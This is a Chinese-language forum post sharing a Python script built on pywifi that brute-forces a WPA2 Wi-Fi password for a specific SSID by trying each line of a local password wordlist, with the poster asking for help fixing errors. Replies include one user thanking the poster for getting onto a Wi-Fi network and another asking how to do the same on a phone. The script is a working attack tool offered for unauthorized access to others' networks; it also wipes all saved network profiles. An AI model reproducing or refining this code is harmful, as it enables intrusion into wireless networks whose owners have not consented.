猫史档案馆


破解WiFi密码的代码,有的时候会报错,哪个大神帮我看一下

用户:TuTacii༽༺诺临宗༻༼宗主TuTacii༽༺诺临宗༻༼宗主查看:2 回复:2 评论:2 创建时间:2023-01-03T21:50:28


import pywifi
from pywifi import const
import time
import datetime

# 测试连接,返回链接结果
def wifiConnect(pwd):
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# 创建WiFi连接文件
profile = pywifi.Profile()
# 要连接WiFi的名称:手动写入
profile.ssid = "CU_fb5g_2.4G"
# 网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 调用密码
profile.key = pwd
# 删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi连接时间
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")

# 读取密码本


def readPassword():
print("开始破解:")
# 密码本路径:需要自己在电脑上创建文件
path = "D:\\numberPass.txt"
# 打开文件
file = open(path, "r")
while True:
try:
# 一行一行读取
pad = file.readline()
bool = wifiConnect(pad)

if bool:
print("密码已破解: ", pad)
print("WiFi已自动连接!!!")
break
else:
# 跳出当前循环,进行下一次循环
print("密码破解中....密码校对: ", pad)
except:
continue


start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end - start))


回复

上一页1 页 / 共 1下一页
Ctrl_VCtrl_V

我终于连上Wi-Fi了,万分感谢

点赞1


评论


它明白我给不起于是转身向大海走去它明白我给不起于是转身向大海走去

有个问题,在手机上怎么破解

点赞0


评论